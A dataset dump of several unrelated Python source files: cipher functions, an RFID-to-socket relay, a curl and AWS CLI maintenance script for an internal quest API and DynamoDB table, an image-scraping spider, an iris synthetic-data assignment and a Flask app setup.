unchanged, by default only space to keep\n words intact.\n :param action: Flag indicating whether to encrypt or decrypt the message\n\n >>> use_vigenere('Dlgo wj d wiqooxh', 'keyword')\n THIS IS A MESSAGE\n \"\"\"\n\n msg = clean_word(msg, string.ascii_uppercase + chars_to_keep)\n keyword = clean_word(keyword)\n\n result = ''\n cursor_in_keyword = 0\n for letter_msg in msg:\n if letter_msg in chars_to_keep:\n result += letter_msg\n continue\n\n letter_key = keyword[cursor_in_keyword % len(keyword)]\n value_msg = letter_to_value[letter_msg]\n value_key = letter_to_value[letter_key] - 1 # In Vigenère, an A in the key means no rotation\n if action == Action.ENCRYPT:\n value_result = value_msg + value_key\n else:\n value_result = value_msg - value_key\n\n result += get_letter_for_value(value_result)\n cursor_in_keyword += 1\n\n return result\n\n\ndef use_autokey(msg: str, keyword: str, chars_to_keep: str = ' ', action: Action = Action.DECRYPT) -> str:\n \"\"\"\n Encrypt or decrypt a message using Autokey cipher\n\n https://www.braingle.com/brainteasers/codes/autokey.php\n\n Note: Also known as autoclave\n\n >>> use_autokey('This is a secret message', 'zebra', action=Action.ENCRYPT)\n 'SLJJ IR E TVCQIU DERWBXE'\n \"\"\"\n\n if action == Action.ENCRYPT:\n # For encryption, we can simply use Vigenère with the keyword prefixing the message\n return use_vigenere(msg, keyword + msg, chars_to_keep, action)\n\n result = ''\n msg = clean_word(msg, allowed_chars=string.ascii_uppercase + chars_to_keep)\n keyword = clean_word(keyword)\n\n cursor_in_keyword = 0\n for letter_msg in msg:\n if letter_msg in chars_to_keep:\n result += letter_msg\n continue\n\n letter_key = keyword[cursor_in_keyword]\n value_msg = letter_to_value[letter_msg]\n value_key = letter_to_value[letter_key] - 1 # In Vinegère, an A in the key means no rotation\n value_result = value_msg - value_key\n\n letter_result = get_letter_for_value(value_result)\n result += letter_result\n keyword += letter_result\n cursor_in_keyword += 1\n\n return result\n\n\nif __name__ == '__main__':\n # Examples to use Vinegère\n print(use_vigenere('goed gedaan', 'cache', action=Action.ENCRYPT))\n print(use_vigenere('iogk kgdchr', 'cache'))\n print(use_vigenere('This is a message!', 'keyword', action=Action.ENCRYPT))\n print(use_vigenere('Dlgo wj d wiqooxh!', 'keyword', action=Action.DECRYPT))\n print('----')\n\n print(use_autokey('This is a secret message', 'zebra', action=Action.ENCRYPT))\n print('----')\n\n msg = 'BSAJDWQPMRIXKXXFIBGEIBYILKNKFCXRJCWYHDZECFUHHRPMULOHTIRXVDRFXRJICIQGEELBHEINDQRRMRZGHIXJHS'\n key = 'doorgedraaid'\n for i in range(len(msg)):\n new_msg = msg[i:] + msg[:i]\n for j in range(len(key)):\n new_key = key[j:] + key[:j]\n decrypted = use_autokey(new_msg, new_key)\n if 'BAND' in decrypted and 'EERSTE' in decrypted:\n print(decrypted)\n", "sub_path": "src/Ciphers/vigenere.py", "file_name": "vigenere.py", "file_ext": "py", "file_size_in_byte": 3718, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "Ciphers.types.Action", "line_number": 12, "usage_type": "name"}, {"api_name": "Ciphers.types.Action.DECRYPT", "line_number": 12, "usage_type": "attribute"}, {"api_name": "utils.clean_word", "line_number": 28, "usage_type": "call"}, {"api_name": "string.ascii_uppercase", "line_number": 28, "usage_type": "attribute"}, {"api_name": "utils.clean_word", "line_number": 29, "usage_type": "call"}, {"api_name": "letter_values.letter_to_value", "line_number": 39, "usage_type": "name"}, {"api_name": "letter_values.letter_to_value", "line_number": 40, "usage_type": "name"}, {"api_name": "Ciphers.types.Action.ENCRYPT", "line_number": 41, "usage_type": "attribute"}, {"api_name": "Ciphers.types.Action", "line_number": 41, "usage_type": "name"}, {"api_name": "letter_values.get_letter_for_value", "line_number": 46, "usage_type": "call"}, {"api_name": "Ciphers.types.Action", "line_number": 52, "usage_type": "name"}, {"api_name": "Ciphers.types.Action.DECRYPT", "line_number": 52, "usage_type": "attribute"}, {"api_name": "Ciphers.types.Action.ENCRYPT", "line_number": 64, "usage_type": "attribute"}, {"api_name": "Ciphers.types.Action", "line_number": 64, "usage_type": "name"}, {"api_name": "utils.clean_word", "line_number": 69, "usage_type": "call"}, {"api_name": "string.ascii_uppercase", "line_number": 69, "usage_type": "attribute"}, {"api_name": "utils.clean_word", "line_number": 70, "usage_type": "call"}, {"api_name": "letter_values.letter_to_value", "line_number": 79, "usage_type": "name"}, {"api_name": "letter_values.letter_to_value", "line_number": 80, "usage_type": "name"}, {"api_name": "letter_values.get_letter_for_value", "line_number": 83, "usage_type": "call"}, {"api_name": "Ciphers.types.Action.ENCRYPT", "line_number": 93, "usage_type": "attribute"}, {"api_name": "Ciphers.types.Action", "line_number": 93, "usage_type": "name"}, {"api_name": "Ciphers.types.Action.ENCRYPT", "line_number": 95, "usage_type": "attribute"}, {"api_name": "Ciphers.types.Action", "line_number": 95, "usage_type": "name"}, {"api_name": "Ciphers.types.Action.DECRYPT", "line_number": 96, "usage_type": "attribute"}, {"api_name": "Ciphers.types.Action", "line_number": 96, "usage_type": "name"}, {"api_name": "Ciphers.types.Action.ENCRYPT", "line_number": 99, "usage_type": "attribute"}, {"api_name": "Ciphers.types.Action", "line_number": 99, "usage_type": "name"}]} {"seq_id": "256690794", "text": "import serial\nimport socket\nimport sys\nimport os\nfrom _thread import *\nimport serial.serialutil\n\nlast_dev = os.popen('ls /dev/ttyUSB* | tail -n 1').read()\nlast_dev=last_dev.replace(\"\\n\", \"\")\nprint(last_dev);\nser = serial.Serial(last_dev, 9600) # here you have to write your port. If you dont know how to find it just write ls -l /dev/tty.* in your terminal (i'm using mac)\n#sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n#server_address = ('192.168.137.105', 10005)\n\nHOST = '' # Symbolic name, meaning all available interfaces\nPORT = 10101 # Arbitrary non-privileged port\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nprint ('Socket created');\nconn1=None\n\n#print ('connecting')\n#sock.connect(server_address)\n#print ('connected')\n#Bind socket to local host and port\ntry:\n \n s.bind((HOST, PORT))\nexcept socket.error as msg:\n if msg.errno == 98:\n print ('Port is already in use');\n else:\n print ('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]);\n sys.exit()\n \nprint ('Socket bind complete');\n\n\n#Start listening on socket\ns.listen(10)\nprint ('Socket now listening');\n \n \n#Function for handling connections. This will be used to create threads\ndef clientthread():\n #Sending message to connected client\n #message='Welcome to the server. Type something and hit enter\\n'\n #conn.send(bytes(message.encode('utf-8'))) #send only takes string\n \n #infinite loop so that function do not terminate and thread do not end. \n while True:\n try:\n print(\"loop starts\");\n global ser\n response = ser.readline()\n response=response.replace(b'\\x02', b'')\n print(\"reading data\")\n if(conn1):\n conn1.send(response)\n \n print (response);\n except serial.SerialException: \n #x=os.system(\"ls /dev/ttyUSB*\")\n #print(x);\n #if(x==0):\n try:\n print(\"ok\"); \n last_dev = os.popen('ls /dev/ttyUSB* | tail -n 1').read()\n last_dev=last_dev.replace(\"\\n\", \"\")\n print(last_dev); \n ser = serial.Serial(last_dev, 9600)\n except:\n print(\"\");\n except FileNotFoundError:\n print(\"\");\n except KeyboardInterrupt: \n print(\"\");\n except:\n print(\"\");\n \n #ser.close()\n print(\"out of loop1\");\n #came out of loop\n #conn1.close()\n\n\n#now keep talking with the client\nclientNo=0\nstart_new_thread(clientthread ,())\nwhile 1:\n #wait to accept a connection - blocking call\n conn, addr = s.accept()\n if(conn1):\n conn1.close()\n \n conn1=conn\n clientNo=clientNo+1\n print ('Connected with ' + addr[0] + ':' + str(addr[1])); \n #start new thread takes 1st argument as a function name to be run, second is the tuple of arguments to the function. \n\n\ns.close()\n\r\n", "sub_path": "rfidReader.py", "file_name": "rfidReader.py", "file_ext": "py", "file_size_in_byte": 3003, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.popen", "line_number": 8, "usage_type": "call"}, {"api_name": "serial.Serial", "line_number": 11, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 17, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 17, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 17, "usage_type": "attribute"}, {"api_name": "socket.error", "line_number": 28, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 33, "usage_type": "call"}, {"api_name": "serial.SerialException", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.popen", "line_number": 67, "usage_type": "call"}, {"api_name": "serial.Serial", "line_number": 70, "usage_type": "call"}]} {"seq_id": "60252504", "text": "import json\nimport os\nimport shlex\nimport subprocess\nimport time\n\n\nclass CommandGenerator:\n def __init__(self, command_template, replace_dict={\"\": [\"\"]}, handle_responses=lambda responses: responses):\n self.command_template = command_template\n self.replace_dict = replace_dict\n self.handle_responses = handle_responses\n\n def generate_commands(self):\n commands = [self.command_template]\n for keyword, replacements in self.replace_dict.items():\n commands = [command.replace(keyword, replacement) for command in commands for replacement in replacements]\n return commands\n\n def run_subprocess_and_get_results(self,command, max_length=1024, timeout=1):\n print(\">> Running: \", str(command)[ :max_length])\n args = shlex.split(command) ## while err??\n process = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n (out, err, rc) = *process.communicate(), process.returncode\n time.sleep(timeout)\n print(\">> Results: \", str((out, err, rc))[ :max_length])\n if rc != 0:\n print(\">> Command failed!\")\n if auto_y or input(\"Retry command (y)?: \") == 'y':\n return self.run_subprocess_and_get_results(command)\n return {'command': command, 'stdout': out, 'stderr': err, 'returncode': rc}\n\n def generate_responses(self, commands):\n responses = []\n for command in commands:\n responses += [self.run_subprocess_and_get_results(command)]\n return responses\n\n def process_responses(self):\n commands = self.generate_commands()\n responses = self.generate_responses(commands)\n print(\"Printing responses:\\n\\n\", \"\\n\\n\".join(map(lambda response: str(response), responses)))\n return self.handle_responses(responses)\n\n\ndef get_quests():\n get_template = \"curl -v '<API_URL>' -H 'Accept: application/json, text/plain, */*' --insecure\"\n get_replace_dict = {\n \"<API_URL>\": [\"https://manila1.cpaas.awsiondev.infor.com:18010/coleman/api/quest\"],\n }\n def get_handler(responses):\n print(\"Processing responses from: get commands.\")\n try:\n quests = json.loads(responses[0]['stdout'].decode('utf-8'))\n print(\"Finished looking for {} quests: {}.\".format(len(quests), [quest['name'] for quest in quests]))\n except Exception as e:\n print(e)\n print(responses[0]['stderr'].decode('utf-8'))\n return quests\n if input(\"Run get tasks (y)? \") == 'y':\n get_generator = CommandGenerator(command_template=get_template, replace_dict=get_replace_dict, handle_responses=get_handler)\n quests = get_generator.process_responses()\n return quests\n\ndef save_quests(quests):\n save_template = \"curl -v '<API_URL>/<DS_ID>?render=true' -H 'Accept: application/json, text/plain, */*' --insecure\"\n save_replace_dict = {\n \"<API_URL>\": [\"https://manila1.cpaas.awsiondev.infor.com:18010/coleman/api/quest\"],\n \"<DS_ID>\": [quest['id'] for quest in quests],\n }\n def save_handler(responses):\n print(\"Processing responses from: save commands.\")\n if not os.path.exists(backup_directory): os.makedirs(backup_directory)\n for result in responses:\n try:\n saved_quest = json.loads(result['stdout'].decode('utf-8'))['quest']\n backup_file = os.path.join(backup_directory, \"backup_{}_{}.json\".format(saved_quest[\"name\"], saved_quest[\"id\"]))\n with open(backup_file, 'wb') as out_file:\n out_file.write(result['stdout'])\n print(\"Successfully saved: {}\".format(backup_file))\n except Exception as e:\n print(e)\n print(result['stderr'].decode('utf-8'))\n return \"Finished saving backups to: /{}/.\".format(backup_directory)\n if input(\"Run save tasks (y)? \") == 'y':\n save_generator = CommandGenerator(command_template=save_template, replace_dict=save_replace_dict, handle_responses=save_handler)\n print(\"Backup status: {}\".format(save_generator.process_responses()))\n\ndef delete_quests(quests):\n delete_template = \"curl -v '<API_URL>/<DS_ID>' -X DELETE -H 'Accept: application/json, text/plain, */*' --insecure\"\n delete_replace_dict = {\n \"<API_URL>\": [\"https://manila1.cpaas.awsiondev.infor.com:18010/coleman/api/quest\"],\n #\"<DS_ID>\": [quest['id'] for quest in quests],\n #\"<DS_ID>\": [quest['id'] for quest in quests if len(quest['activities']) < 2],\n }\n if input(\"Run delete tasks (y)? \") == 'y':\n delete_generator = CommandGenerator(command_template=delete_template, replace_dict=delete_replace_dict)\n print(\"Delete status: {}\".format(delete_generator.process_responses()))\n\ndef update_quests(quests):\n update_template = \"curl -v '<API_URL>' -X POST -H 'Content-Type: application/json' -H 'Accept: application/json, text/plain, */*' --data-binary '<QUEST_JSON>' --insecure\"\n update_replace_dict = {\n \"<API_URL>\": [\"https://manila1.cpaas.awsiondev.infor.com:18010/coleman/api/quest\"],\n \"<QUEST_JSON>\": [json.dumps({\"quest\": quest}) for quest in quests],\n }\n if input(\"Run update tasks (y)? \") == 'y':\n update_generator = CommandGenerator(command_template=update_template, replace_dict=update_replace_dict)\n responses = update_generator.process_responses()\n print(\"Update status: {}\".format(responses))\n\ndef dynamo_scan_keys(region_name, table_name):\n scan_template = \"\"\"aws dynamodb scan \\\n--region '<REGION_NAME>' \\\n--table-name '<TABLE_NAME>' \\\n--attributes-to-get 'id'\n \"\"\"\n scan_replace_dict = {\n \"<REGION_NAME>\": [region_name],\n \"<TABLE_NAME>\": [table_name],\n }\n def scan_handler(responses):\n load_scan_result = json.loads(responses[0]['stdout'].decode('utf-8'))\n return load_scan_result['Items']\n if auto_y or input(\"Run scan tasks (y)? \") == 'y':\n scan_generator = CommandGenerator(command_template=scan_template, replace_dict=scan_replace_dict, handle_responses=scan_handler)\n keys = scan_generator.process_responses()\n return keys\n\ndef dynamo_add_string_field(region_name, table_name, keys, field_name, dummy_string):\n add_template = \"\"\"\naws dynamodb update-item \\\n--region '<REGION_NAME>' \\\n--table-name '<TABLE_NAME>' \\\n--key '<KEY>' \\\n--update-expression 'SET <FIELD_NAME> = :nf' \\\n--expression-attribute-values '{ \":nf\": { \"S\": \"<DUMMY_STRING>\" }}'\n \"\"\"\n add_replace_dict = {\n \"<REGION_NAME>\": [region_name],\n \"<TABLE_NAME>\": [table_name],\n \"<KEY>\": [json.dumps(key) for key in keys],\n \"<FIELD_NAME>\": [field_name],\n \"<DUMMY_STRING>\": [dummy_string],\n }\n if auto_y or input(\"Run add tasks (y)? \") == 'y':\n add_generator = CommandGenerator(command_template=add_template, replace_dict=add_replace_dict)\n responses = add_generator.process_responses()\n print(\"Add status: {}\".format(responses))\n return responses\n\ndef dynamo_delete_string_field(region_name, table_name, keys, field_name):\n delete_template = \"\"\"\naws dynamodb update-item \\\n--region '<REGION_NAME>' \\\n--table-name '<TABLE_NAME>' \\\n--key '<KEY>' \\\n--update-expression 'REMOVE <FIELD_NAME>'\n \"\"\"\n delete_replace_dict = {\n \"<REGION_NAME>\": [region_name],\n \"<TABLE_NAME>\": [table_name],\n \"<KEY>\": [json.dumps(key) for key in keys],\n \"<FIELD_NAME>\": [field_name],\n }\n if input(\"Run delete tasks (y)? \") == 'y':\n delete_generator = CommandGenerator(command_template=delete_template, replace_dict=delete_replace_dict)\n responses = delete_generator.process_responses()\n print(\"Delete status: {}\".format(responses))\n return responses\n\n\"\"\" Notes:\nFor automating AWS commands: you must have AWS CLI and proper credentials set up in your machine\nFor automating API calls via cURL: Copy a cURL sample from Chrome > F12 > Network > locate particular request > Right-click > Copy > Copy as cURL (bash)\n\"\"\"\n\nif __name__ == '__main__':\n ##########################\n ### Modify execution ###\n ##########################\n auto_y = True\n region_name = \"eu-west-1\"\n table_name = \"coleman_execution_context\"\n\n keys = dynamo_scan_keys(region_name, table_name)\n \"\"\"\n new_fields = {\n \"createdBy\": \"Jay Ryan Ramos\",\n \"createdOn\": \"2018-09-07T03:52:55.152+0000\",\n \"lastUpdatedBy\": \"Jay Ryan Ramos\",\n \"lastUpdatedOn\": \"2018-09-07T03:52:55.152+0000\",\n }\n\n add_responses = []\n for field, value in new_fields.items():\n add_responses += [dynamo_add_string_field(region_name, table_name, keys, field, value)]\n \"\"\"\n for delete_field in [\"failedActivity\", \"worklog\"]:\n dynamo_delete_string_field(region_name, table_name, keys, delete_field)\n\n ##########################\n ### Modify execution ###\n ##########################\n \n print(\"Entering Interactive mode: Input Ctrl + Z to exit.\")\n import code; code.interact(local={**locals(), **globals()})\n print(\"Done!\")\n", "sub_path": "scripts/old/automate_commands.py", "file_name": "automate_commands.py", "file_ext": "py", "file_size_in_byte": 9081, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "shlex.split", "line_number": 22, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 23, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 23, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 25, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 73, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 104, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 122, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 141, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 162, "usage_type": "call"}, {"api_name": "code.interact", "line_number": 205, "usage_type": "call"}]} {"seq_id": "452504571", "text": "# -*- coding: utf-8 -*-\nimport scrapy\nfrom vulinfo.items import VulinfoItem\n\nclass VulspiderSpider(scrapy.Spider):\n name = 'vulspider'\n allowed_domains = ['www.umei.cc']\n start_urls = ['https://www.umei.cc/meinvtupian/xingganmeinv/1.htm']\n\n def parse(self, response):\n\n #本页地址列表\n localurls=response.xpath('//a[@class=\"TypeBigPics\"]/@href').getall()\n for localurl in localurls:\n\n yield scrapy.Request(url=localurl, callback=self.parse)\n #下一页地址\n localnextpage=response.xpath('//div[@class=\"NewPages\"]/ul/li/a/@href').getall()[-2]\n yield scrapy.Request(url=response.urljoin(localnextpage),callback=self.parse)\n\n #各个标题的item和url\n nextpage=response.xpath('//div[@class=\"NewPages\"]/ul/li/a/@href').getall().pop()\n if nextpage =='#':\n pass\n else:\n \n yield scrapy.Request(url=response.urljoin(nextpage),callback=self.parse)\n \n item=VulinfoItem()\n item['image_urls']=response.xpath('//p[@align=\"center\"]/a/img/@src').getall()\n item['images']=response.xpath('//p[@align=\"center\"]/a/img/@alt').getall()\n item['image_paths']=response.xpath('//p[@align=\"center\"]/a/img/@alt').get()\n\n yield item\n", "sub_path": "spider/vulinfo/vulinfo/spiders/vulspider.py", "file_name": "vulspider.py", "file_ext": "py", "file_size_in_byte": 1299, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "scrapy.Spider", "line_number": 5, "usage_type": "attribute"}, {"api_name": "scrapy.Request", "line_number": 16, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 19, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 27, "usage_type": "call"}, {"api_name": "vulinfo.items.VulinfoItem", "line_number": 29, "usage_type": "call"}]} {"seq_id": "441429056", "text": "import pandas as pd\nfrom scipy.io.arff import loadarff\nimport numpy as np\nimport random\nimport matplotlib.pyplot as plt\nimport sys\n\ndef get_max_features(iris_df, class_names, features_to_search):\n iris_df_ax = iris_df.max()\n min_arr = np.array([iris_df_ax.sepallength, iris_df_ax.sepalwidth, iris_df_ax.petallength, iris_df_ax.petalwidth])\n return min_arr\n\ndef get_min_features(iris_df, class_names, features_to_search):\n iris_df_min = iris_df.min()\n min_arr = np.array([iris_df_min.sepallength, iris_df_min.sepalwidth, iris_df_min.petallength, iris_df_min.petalwidth])\n return min_arr\n\ndef get_min_2d_numpy_arr(numpy_arr):\n\n min_sepallength = None\n min_sepalwidth = None\n min_petallength = None\n min_petalwidth = None\n\n for row in numpy_arr:\n if(min_sepallength == None or row[0] < min_sepallength):\n min_sepallength = row[0]\n\n if (min_sepalwidth == None or row[1] < min_sepalwidth):\n min_sepalwidth = row[1]\n\n if (min_petallength == None or row[2] < min_petallength):\n min_petallength = row[2]\n\n if (min_petalwidth == None or row[3] < min_petalwidth):\n min_petalwidth = row[3]\n\n min_arr = [min_sepallength, min_sepalwidth, min_petallength, min_petalwidth]\n return min_arr\ndef get_max_2d_numpy_arr(numpy_arr):\n\n max_sepallength = None\n max_sepalwidth = None\n max_petallength = None\n max_petalwidth = None\n\n for row in numpy_arr:\n if(max_sepallength == None or row[0] > max_sepallength):\n max_sepallength = row[0]\n\n if (max_sepalwidth == None or row[1] > max_sepalwidth):\n max_sepalwidth = row[1]\n\n if (max_petallength == None or row[2] > max_petallength):\n max_petallength = row[2]\n\n if (max_petalwidth == None or row[3] > max_petalwidth):\n max_petalwidth = row[3]\n\n max_arr = [max_sepallength, max_sepalwidth, max_petallength, max_petalwidth]\n return max_arr\n\n\ndef create_synthetic_data(classname):\n\n features_to_search = ['sepallength', 'sepalwidth', 'petallength', 'petalwidth']\n class_names = [b'Iris-setosa', b'Iris-versicolor', b'Iris-virginica']\n\n # load data\n raw_data = loadarff('iris.arff')\n iris_df = pd.DataFrame(raw_data[0])\n\n # min and max array where each it follows in same index pattern as features_to_search array\n min_arr = get_min_features(iris_df, class_names, features_to_search)\n max_arr = get_max_features(iris_df, class_names, features_to_search)\n\n # From my group's Blackboard thread where Stuart Woodburry suggested this one line code to generate random 100\n # we want 100 new data for each feature so a 4 by 100 array\n oldRandomMat = [[(random.uniform(0, 1) * max_arr[i] - min_arr[i]) + min_arr[i] for i in range(0, len(features_to_search))] for j in range(0, 100)]\n oldRandomMat = np.array(oldRandomMat)\n\n # get first fifty instances so we can calculate a covariance\n first_fifty = iris_df.loc[(iris_df['class'] == classname)].head(50)\n all_col_except_class = first_fifty[features_to_search]\n numpy_arr_first_fifty = all_col_except_class.values\n # To get a proper covariance matrix we need to transpose so we get a 4 x 4 array\n numpy_arr_first_fifty = numpy_arr_first_fifty.T\n numpy_cov = np.cov(numpy_arr_first_fifty)\n\n # multiply the random Matrix with the covariance\n rnd_data = np.matmul(numpy_cov, oldRandomMat.T)\n randomMat = rnd_data.T\n\n # get the min and max of the random matrix of each feature so we should get a 1 by 4 array\n min_arr_randomMat = get_min_2d_numpy_arr(randomMat)\n max_arr_randomMat = get_max_2d_numpy_arr(randomMat)\n\n\n # sepal length processing\n X = randomMat.T[0]\n P_min = min_arr_randomMat[0]\n P_max = max_arr_randomMat[0]\n a = sepal_length_min = min_arr[0]\n b = sepal_length_max = max_arr[0]\n synthetic_sepal_length = ((X - P_min) / (P_max - P_min)) * (b - a) + a\n iris_synthetic = synthetic_sepal_length\n\n # sepal width processing\n X = randomMat.T[1]\n P_min = min_arr_randomMat[1]\n P_max = max_arr_randomMat[1]\n a = sepal_width_min = min_arr[1]\n b = sepal_width_max = max_arr[1]\n synthetic_sepal_width = ((X - P_min) / (P_max - P_min)) * (b - a) + a\n iris_synthetic = np.vstack((iris_synthetic, synthetic_sepal_width))\n\n # petal length processing\n X = randomMat.T[2]\n P_min = min_arr_randomMat[2]\n P_max = max_arr_randomMat[2]\n a = petal_length_min = min_arr[2]\n b = petal_length_max = max_arr[2]\n synthetic_petal_length = ((X - P_min) / (P_max - P_min)) * (b - a) + a\n iris_synthetic = np.vstack((iris_synthetic, synthetic_petal_length))\n\n # petal width processing\n X = randomMat.T[3]\n P_min = min_arr_randomMat[3]\n P_max = max_arr_randomMat[3]\n a = petal_width_min = min_arr[3]\n b = petal_width_max = max_arr[3]\n synthetic_petal_width = ((X - P_min) / (P_max - P_min)) * (b - a) + a\n # iris_synthetic[3] = synthetic_petal_width\n iris_synthetic = np.vstack((iris_synthetic, synthetic_petal_width))\n\n # let's the get the original data values\n orig_data = iris_df[features_to_search].values\n\n # get the mean of the original data set for each feature\n orig_mean = [np.mean(orig_data[:, i]) for i in range(0, len(features_to_search))]\n # get the mean of the just generated synth data set for each feature\n synth_mean = [np.mean(iris_synthetic[:, i]) for i in range(0, len(features_to_search))]\n\n # subtract the two\n mu = np.subtract(synth_mean, orig_mean)\n\n # let's make the mu_100\n mu_100 = np.multiply(np.ones((1,100)), mu[0])[0]\n mu_100 = np.vstack((mu_100, np.multiply(np.ones((1,100)), mu[1])[0]))\n mu_100 = np.vstack((mu_100, np.multiply(np.ones((1,100)), mu[2])[0]))\n mu_100 = np.vstack((mu_100, np.multiply(np.ones((1,100)), mu[3])[0]))\n\n # subtract the mu_100 from synthetic data\n final_iris_synth = np.subtract(iris_synthetic, mu_100)\n\n # scatter plot x - column 0, y - column 1, shown with marker o\n plt.plot(final_iris_synth[:,3], final_iris_synth[:,0], 'o', label='data', color = \"blue\")\n plt.plot(orig_data[:,3], orig_data[:,0], 'o', label='data', color = \"red\")\n # create legend in case you have more than one series\n plt.legend()\n plt.title(classname)\n plt.show()\n\n return final_iris_synth\n\n\ndef problem3():\n\n # I don't understand why this isn't working\n # I followed the professors steps in office hours and I thought\n # I had the reasoning down but I'm not getting the right results\n # class_names = [b'Iris-setosa', b'Iris-versicolor', b'Iris-virginica']\n\n setosa_synth = create_synthetic_data(b'Iris-setosa')\n versicolor_synth = create_synthetic_data(b'Iris-versicolor')\n virginica_synth = create_synthetic_data(b'Iris-virginica')\n\n final_synth = setosa_synth\n final_synth = np.hstack((final_synth, versicolor_synth))\n final_synth = np.hstack((final_synth, virginica_synth))\n\n # Final data of size 300, 4\n final_synth = final_synth.T\n\n # dump to file\n np.set_printoptions(threshold=sys.maxsize)\n with open('Problem3_synth_result.txt', 'w') as prob3_synth_file_output:\n prob3_synth_file_output.write(np.array2string(final_synth, suppress_small=False))\n prob3_synth_file_output.close()\n\n\ndef main():\n problem3()\n\nif __name__ == '__main__':\n main()", "sub_path": "app/Problem3.py", "file_name": "Problem3.py", "file_ext": "py", "file_size_in_byte": 7334, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.array", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 15, "usage_type": "call"}, {"api_name": "scipy.io.arff.loadarff", "line_number": 70, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 71, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.cov", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.subtract", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.subtract", "line_number": 154, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 157, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 157, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 158, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 158, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 160, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 161, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 162, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 162, "usage_type": "name"}, {"api_name": "numpy.hstack", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.set_printoptions", "line_number": 186, "usage_type": "call"}, {"api_name": "sys.maxsize", "line_number": 186, "usage_type": "attribute"}, {"api_name": "numpy.array2string", "line_number": 188, "usage_type": "call"}]} {"seq_id": "648777672", "text": "#!/usr/bin/env python\n# -*- cording: utf-8 -*-\n\nfrom flask import Flask, render_template, send_from_directory\nimport logging\n\napp = Flask(__name__, static_folder='../frontend/dist/static', template_folder='../frontend/dist')\napp.config.from_pyfile('../config.py')\napp.logger.setLevel(logging.DEBUG)\n\n@app.route('/', defaults={'path': ''})\n@app.route('/<path:path>')\ndef index(path):\n return render_template('index.html')\n\n@app.route('/media/<path:path>')\ndef send_media(path):\n print(path)\n return send_from_directory('../media', path)\n\nfrom backend.apis import character, photo, voice\n\napp.register_blueprint(character.app, url_prefix='/api/character')\napp.register_blueprint(photo.app, url_prefix='/api/photo')\napp.register_blueprint(voice.app, url_prefix='/api/voice')\n\n", "sub_path": "backend/__init__.py", "file_name": "__init__.py", 